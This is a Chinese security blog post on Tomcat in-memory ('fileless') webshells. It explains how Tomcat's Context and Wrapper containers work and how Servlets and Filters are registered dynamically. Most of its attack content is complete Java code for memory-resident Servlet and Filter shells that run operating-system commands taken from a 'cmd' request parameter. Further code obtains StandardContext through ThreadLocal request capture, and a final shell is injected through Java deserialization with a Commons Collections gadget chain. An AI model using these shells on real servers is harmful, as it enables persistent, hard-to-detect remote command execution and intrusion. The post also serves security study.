Javaweb安全——Tomcat 内存马基础

Tomcat 内存马基础

无文件落地的 webshell 技术,即对访问路径映射及相关处理代码的动态注册,通常配合反序列化或者spel表达式注入进行类加载写入。

本文环境 Tomcat 9.0.59 作为中间件,且并没有配置spring框架,代码具体实现与中间件有关。

image-20220816213645823

tomcat-servlet基础

Tomcat 的总体结构

img

  • Server:整个Tomcat服务器,一个Tomcat只有一个Server;

  • Service:Server中的一个逻辑功能层, 一个Server可以包含多个Service;

  • Connector:称作连接器,是Service的核心组件之一,一个Service可以有多个Connector,主要是连接客户端请求;

  • Container:Service的另一个核心组件,按照层级有Engine,Host,Context,Wrapper四种,一个Service只有一个Engine,其主要作用是执行业务逻辑;

    image-20220808160853741

    image-20220808161153553

Context容器

Context 代表 Servlet 的上下文环境,指独立的一个Web应用。它具备了 Servlet 运行的基本环境,理论上只要有 Context 就能运行 Servlet 了。简单的 Tomcat 可以没有 Engine 和 Host。

StandardContext类是Context接口的标准实现:

image-20220808160627913

Tomcat中的三种Context

image-20220813003533938

通过request.getServletContext() 获取到的是ApplicationContextFacade对象,是ApplicationContext 外观对象

  • ServerletContext(接口)

    ServletContext是Servlet规范中规定的ServletContext接口,定义了与该servlet通信的一系列方法。

  • ApplicationContext

    ApplicationContext是Tomcat对ServerletContext接口的实现类,后面动态添加组件的方法实现就在其中。

    由上图可知该类被包装在ApplicationContextFacade类中(使用了门面模式也叫外观模式)。

    为什么servlet通过ApplicationContextFacade间接(而不是直接)访问Tomcat ApplicationContext(ServletContext)

  • StandardContext

    org.apache.catalina.Context接口的默认实现为StandardContext,而Context在Tomcat中代表一个web应用。

    从上图也可以看到ApplicationContext像对StandardContext的一种封装,其context属性即为StandardContext

    image-20220813010554945

    查看ApplicationContext源码可以看到,其所实现的方法其实都是调用的context(StandardContext)中的方法,StandardContext是Tomcat中真正起作用的Context。

从三者的关系可以当发现request存在的时候我们可以通过反射来获取StandardContext对象:

request.getServletContext().context.context

StandardContext对象也是后面动态注册组件的基础。

Wrapper容器

Wrapper 代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。

StandardWrapper类是Wrapper接口的标准实现:

image-20220808160801815

Servlet的三大基础组件

Servlet、Filter 、Listener ;处理请求时,处理顺序如下:

Request → Listener → Filter → Servlet

  • Servlet: 最基础的控制层组件,用于动态处理前端传递过来的请求,每一个Servlet都可以理解成运行在服务器上的一个java程序;生命周期:从Tomcat的Web容器启动开始,到服务器停止调用其destroy()结束;驻留在内存里面
  • Filter:过滤器,过滤一些非法请求或不当请求,一个Web应用中一般是一个filterChain链式调用其doFilter()方法,存在一个顺序问题。
  • Listener:监听器,以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口(都有request来都会触发这个)。

动态添加组件

在Servlet3.0中可以动态注册Servlet,Filter,Listener(一般只能在应用初始化时调用),在ServletContext对应的接口为:

 /**
   * 添加Servlet
   */
  public ServletRegistration.Dynamic addServlet(String servletName,
      String className);

  public ServletRegistration.Dynamic addServlet(String servletName,
      Servlet servlet);

  public ServletRegistration.Dynamic addServlet(String servletName,
      Class<? extends Servlet> servletClass);

<T extends Servlet> T createServlet(Class<T> var1) throws ServletException;

  /**
   * 添加Filter
   */
  public FilterRegistration.Dynamic addFilter(String filterName,
      String className);

  public FilterRegistration.Dynamic addFilter(String filterName, Filter filter);

  public FilterRegistration.Dynamic addFilter(String filterName,
      Class<? extends Filter> filterClass);

<T extends Filter> T createFilter(Class<T> var1) throws ServletException;


  /**
   * 添加Listener
   */
  public void addListener(String className);

  public <T extends EventListener> void addListener(T t);

  public void addListener(Class<? extends EventListener> listenerClass);

<T extends EventListener> T createListener(Class<T> var1) throws ServletException;

Servlet

具体的实现还要看具体的容器,下面以tomcat9.0.56为例。

从上面的tomcat结构中可以看到Warpper封装了Servlet,如果想要添加一个Servlet,需要创建一个Warpper(StandardWrapper)包裹他来挂载到Context(StandardContext中)

查看ServletContext接口的具体实现org.apache.catalina.core.ApplicationContext#addServlet方法。

image-20220813214543505

Wrapper的创建在org.apache.catalina.core.StandardContext#createWrapper当中;

image-20220813220222293

再回到addServlet方法接着来看,其实就是把servlet注册到context里

image-20220813222742228

为了让访问url能匹配到具体的Servlet,接着还得再把url路径和 Wrapper 对象(Servlet)做映射:

通过ApplicationServletRegistration#addMapping 方法调用 StandardContext#addServletMappingDecoded 方法,在 mapper 中添加 URL 路径与 Wrapper 对象的映射(Wrapper 通过 this.children 中根据 name 获取)

image-20220814002001040

同时在StandardContext#servletMappings属性中添加 URL 路径与 name 的映射。

image-20220814002046944

详细的启动过程可以参考tomcat源码分析03:Context启动流程

在Spring mvc中添加servlet就是用上面的方法实现:

image-20220814004843563

具体实现的时候可以直接去调用addServletMappingDecoded方法,相当于手动走一遍addServlet方法的流程;也可以通过反射去设置LifecycleState的值为STARTING_PREP调用addServlet方法注册servlet完之后再设置回原值。

这里参照su18文章中的代码实现直接去调用addServletMappingDecoded方法,写的是servlet,写jsp也是一样的jsp本来也是一种特殊的servlet。

代码实现如下:

package test;

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;

@WebServlet("/addTomcatServletMemShell")
public class TomcatServletMemShell extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        try {

            String servletName = "ServletMemShell";

            // 从 request 中获取 servletContext
            ServletContext servletContext = req.getServletContext();

            // 如果已有此 servletName 的 Servlet,则不再重复添加
            if (servletContext.getServletRegistration(servletName) == null) {

                StandardContext o = null;

                // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                while (o == null) {
                    Field f = servletContext.getClass().getDeclaredField("context");
                    f.setAccessible(true);
                    Object object = f.get(servletContext);

                    if (object instanceof ServletContext) {
                        servletContext = (ServletContext) object;
                    } else if (object instanceof StandardContext) {
                        o = (StandardContext) object;
                    }
                }

                // 创建自定义 Servlet
                HttpServlet evilServlet = new HttpServlet() {
                    @Override
                    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
                        this.doPost(req, resp);
                    }

                    @Override
                    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
                        String cmd = req.getParameter("cmd");
                        if (cmd != null) {
                            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                            BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
                            int len;
                            while ((len = bufferedInputStream.read()) != -1) {
                                resp.getWriter().write(len);
                            }
                        }
                    }
                };

                // 使用 Wrapper 封装 Servlet
                Wrapper wrapper = o.createWrapper();
                wrapper.setName(servletName);
                wrapper.setLoadOnStartup(1);
                //将自定义Servlet类实例设置进入 反射的话使用servletClass.newInstance()
                wrapper.setServlet(evilServlet);
                wrapper.setServletClass(evilServlet.getClass().getName());

                // 向 children 中添加 wrapper
                o.addChild(wrapper);

                // 添加 servletMappings
                o.addServletMappingDecoded("/ServletMemShell", servletName);

                PrintWriter writer = resp.getWriter();
                writer.println("tomcat servlet added");

            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

image-20220814195702323

wrapper.setLoadOnStartup(1);这句代码的作用是让容器在应用启动时就加载并初始化这个servlet,说人话就是添加完就加载了。当然不设置这个值也是可以的,默认值为-1 即在第一次访问时加载。

image-20220814215723154

web.xml中load-on-startup的作用

  1. load-on-startup 元素标记容器是否应该在web应用程序启动的时候就加载这个servlet,(实例化并调用其init()方法)。
  2. 它的值必须是一个整数,表示servlet被加载的先后顺序。
  3. 如果该元素的值为负数或者没有设置,则容器会当Servlet被请求时再加载。
  4. 如果值为正整数或者0时,表示容器在应用启动时就加载并初始化这个servlet,值越小,servlet的优先级越高,就越先被加载。值相同时,容器就会自己选择顺序来加载。

Filter

查看org.apache.catalina.core.ApplicationContext#addFilter方法。其实和addServlet方法差不多,同样的还没有将这个 Filter 和url做映射。

image-20220814233609706

通过ApplicationFilterRegistration#addMappingForUrlPatterns设置映射。

image-20220815001406948

image-20220815001417248

通过下图可见Tomcat 处理一次请求对应的 FilterChain过程

image-20220815001717365

每次请求的 FilterChain 是动态匹配获取和生成的,如果想添加一个 Filter ,需要在 StandardContext 中 filterMaps 中添加 FilterMap,在 filterConfigs 中添加 ApplicationFilterConfig。

  • filterMaps变量:含有所有filter的URL映射关系
  • filterDefs变量: 含有所有filter包括实例在内等变量
  • filterConfigs 变量:含有所有与filter对应的filterDef信息及filter实例,并对filter进行管理

第一步上面已经解决了,第二步通过StandardContext#filterStart 方法生成filterConfigs来添加。

image-20220815002530242

最后还要把这个filter加到filterMaps中第一位,在所有filter前执行以免一些奇奇怪怪的问题(如shiro的反序列化利用)。

参照threedr3am师傅的基于tomcat的内存 Webshell 无文件攻击技术文章中的实现,代码如下:

package test;

import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpFilter;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;

@WebServlet("/addTomcatFilterMemShell")
public class TomcatFilterMemShell extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) {

        try {

            String filterName = "FilterMemShell";

            // 从 request 中获取 servletContext
            ServletContext servletContext = req.getServletContext();

            // 如果已有此 filterName 的 Filter,则不再重复添加
            if (servletContext.getFilterRegistration(filterName) == null) {

                StandardContext standardContext = null;

                // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                if (servletContext != null){
                    Field ctx = servletContext.getClass().getDeclaredField("context");
                    ctx.setAccessible(true);
                    ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);

                    Field stdctx = appctx.getClass().getDeclaredField("context");
                    stdctx.setAccessible(true);
                    standardContext = (StandardContext) stdctx.get(appctx);
                }

                // 创建自定义 Filter 对象
                HttpFilter evilFilter = new HttpFilter() {
                    public void destroy() {}

                    @Override
                    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
                            throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) request;
                        HttpServletResponse resp = (HttpServletResponse) response;
                        String cmd = req.getParameter("cmd");
                        if (cmd != null) {
                            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                            BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
                            int len;
                            while ((len = bufferedInputStream.read()) != -1) {
                                resp.getWriter().write(len);
                            }
                        }
                        doFilter((HttpServletRequest) request, (HttpServletResponse) response, chain);
                    }
                };
                //修改context状态
                java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);

                // 创建 FilterDef 对象
                javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, evilFilter);
                filterRegistration.setInitParameter("encoding", "utf-8");
                filterRegistration.setAsyncSupported(false);
                //添加映射
                filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
                //状态恢复,要不然服务不可用
                if (stateField != null) {
                    stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                }

                if (standardContext != null) {
                    //在 filterConfigs 中添加 ApplicationFilterConfig使得filter生效
                    java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
                    filterStartMethod.setAccessible(true);
                    filterStartMethod.invoke(standardContext, null);

                    //把filter插到第一位
                    org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext.findFilterMaps();
                    for (int i = 0; i < filterMaps.length; i++) {
                        if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {
                            org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
                            filterMaps[i] = filterMaps[0];
                            filterMaps[0] = filterMap;
                            break;
                        }
                    }
                }
            }

                PrintWriter writer = resp.getWriter();
                writer.println("tomcat filter added");

        } catch (Exception e) {
            e.printStackTrace();
        }


    }
}

image-20220815005619351

获取StandardContext对象

上面的例子当中是从Servlet的request对象中进行获取,request.getServletContext().context.context,但通过上传一个jsp文件去注册内存马只满足有上传点,得到webshell后的去做持久化后门的情况。

实际当中还有不少反序列化的漏洞点需要打内存马做一个持久化,即有类加载的能力。这时候再用上面的办法,request对象都没了自然是不行的。

这里只介绍两种比较常用的方法,更多姿势可以看这篇文章:Java内存马:一种Tomcat全版本获取StandardContext的新方法

从ContextClassLoader获取

Tomcat 8 9

Tomcat处理请求中,存在Thread ContextClassLoader(线程上下文类加载器),而这个对象的resources属性中又保存了StandardContext对象。

https://blog.51cto.com/nxlhero/2697891

Thread Context ClassLoader意义就是:⽗Classloader可以使⽤当前线程Thread.currentthread().getContextLoader()中指定的classloader中加载的类。颠覆了⽗ClassLoader不能使⽤⼦Classloader或者是其它没有直接⽗⼦关系的Classloader中加载的类这种情况。这个就是Thread Context ClassLoader的意义。⼀个线程的默认ContextClassLoader是继承⽗线程的,可以调⽤set重新 设置,如果在main线程⾥查看,它就是AppClassLoader。

image-20220816012232081

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();

StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

从ThreadLocal获取request

Tomcat 7 8 9

kingkk师傅 Tomcat中一种半通用回显方法这篇文章中的方法。

利用点在org.apache.catalina.core.ApplicationFilterChain

image-20220816015338643

image-20220816183034050

通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true,并且对lastServicedRequestlastServicedResponse这两个ThreadLocal变量进行初始化,默认为null

ServletRequest servletRequest = null;
    try {
        //修改 WRAP_SAME_OBJECT 值为 true
        java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
        java.lang.reflect.Field modifiersField = WRAP_SAME_OBJECT_FIELD.getClass().getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
        WRAP_SAME_OBJECT_FIELD.setAccessible(true);
        if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {
            WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
        }

        //初始化 lastServicedRequest lastServicedResponse
        java.lang.reflect.Field lastServicedRequestField = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
        java.lang.reflect.Field lastServicedResponseField = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");

        modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
        modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);

        lastServicedRequestField.setAccessible(true);
        lastServicedResponseField.setAccessible(true);
        if (lastServicedRequestField.get(null) == null || lastServicedResponseField.get(null) == null) {
            lastServicedRequestField.set(null, new ThreadLocal());
            lastServicedResponseField.set(null, new ThreadLocal());
        }

        ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
        //不为空则意味着第一次反序列化的准备工作已成功
        if (threadLocal != null && threadLocal.get() != null) {
            servletRequest = (ServletRequest) threadLocal.get();
        }
        if (servletRequest != null)
            servletRequest.getServletContext();
    }catch (Throwable t){}

image-20220816203328254

反序列化注入内存马

这里只做一个demo演示效果,后面再补fastjson shiro log4j打内存马的内容。

添加cc依赖

image-20220817163919605

@WebServlet("/test")
public class index extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        resp.getWriter().println("hello memshell");
    }
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        InputStream inputStream = req.getInputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        try {
            objectInputStream.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
        resp.getWriter().write("Success");
    }

}

这里为了方便生成,把两部分拼一块了

package MemoryShell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;

public class MyTomcatInject extends AbstractTranslet implements Filter {
    static {
        try {

            String filterName = "FilterMemShell";

            // 从ThreadLocal获取request
            ServletRequest servletRequest = null;
                    //修改 WRAP_SAME_OBJECT 值为 true
            java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            java.lang.reflect.Field modifiersField = WRAP_SAME_OBJECT_FIELD.getClass().getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
            WRAP_SAME_OBJECT_FIELD.setAccessible(true);
            if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {
                WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
            }

            //初始化 lastServicedRequest lastServicedResponse
            java.lang.reflect.Field lastServicedRequestField = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
            java.lang.reflect.Field lastServicedResponseField = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");

            modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
            modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);

            lastServicedRequestField.setAccessible(true);
            lastServicedResponseField.setAccessible(true);
            if (lastServicedRequestField.get(null) == null || lastServicedResponseField.get(null) == null) {
                lastServicedRequestField.set(null, new ThreadLocal());
                lastServicedResponseField.set(null, new ThreadLocal());
            }

            ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
            //不为空则意味着第一次反序列化的准备工作已成功
            if (threadLocal != null && threadLocal.get() != null) {
                servletRequest = (ServletRequest) threadLocal.get();
            }
            //获取 servletContext
            ServletContext servletContext = null;
            if (servletRequest != null) {
                servletContext = servletRequest.getServletContext();
            }

            // 如果已有此 filterName 的 Filter,则不再重复添加
            if (servletContext.getFilterRegistration(filterName) == null) {

                StandardContext standardContext = null;

                // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                if (servletContext != null){
                    Field ctx = servletContext.getClass().getDeclaredField("context");
                    ctx.setAccessible(true);
                    ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);

                    Field stdctx = appctx.getClass().getDeclaredField("context");
                    stdctx.setAccessible(true);
                    standardContext = (StandardContext) stdctx.get(appctx);
                }

                // 创建自定义 Filter 对象
                Filter evilFilter =new MyTomcatInject();
                //修改context状态
                java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);

                // 创建 FilterDef 对象
                javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, evilFilter);
                filterRegistration.setInitParameter("encoding", "utf-8");
                filterRegistration.setAsyncSupported(false);
                //添加映射
                filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
                //状态恢复,要不然服务不可用
                if (stateField != null) {
                    stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                }

                if (standardContext != null) {
                    //在 filterConfigs 中添加 ApplicationFilterConfig使得filter生效
                    java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
                    filterStartMethod.setAccessible(true);
                    filterStartMethod.invoke(standardContext, null);

                    //把filter插到第一位
                    org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext.findFilterMaps();
                    for (int i = 0; i < filterMaps.length; i++) {
                        if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {
                            org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
                            filterMaps[i] = filterMaps[0];
                            filterMaps[0] = filterMap;
                            break;
                        }
                    }
                }
            }



        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        HttpServletResponse resp = (HttpServletResponse) servletResponse;
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
            BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
            int len;
            while ((len = bufferedInputStream.read()) != -1) {
                resp.getWriter().write(len);
            }
        }
    }

    @Override
    public void destroy() {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

然后用CC3的链子生成ser文件,curl打过去。

发两遍包,一遍初始化两个ThreadLocal,第二遍注册filter

image-20220817170131730

image-20220817170148888

参考

https://mp.weixin.qq.com/s/D0ACXtPsj91chP4zmGpUjQ

https://yzddmr6.com/posts/tomcat-context/

https://www.anquanke.com/post/id/273250

https://xz.aliyun.com/t/9914

https://xz.aliyun.com/t/7388#toc-1

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值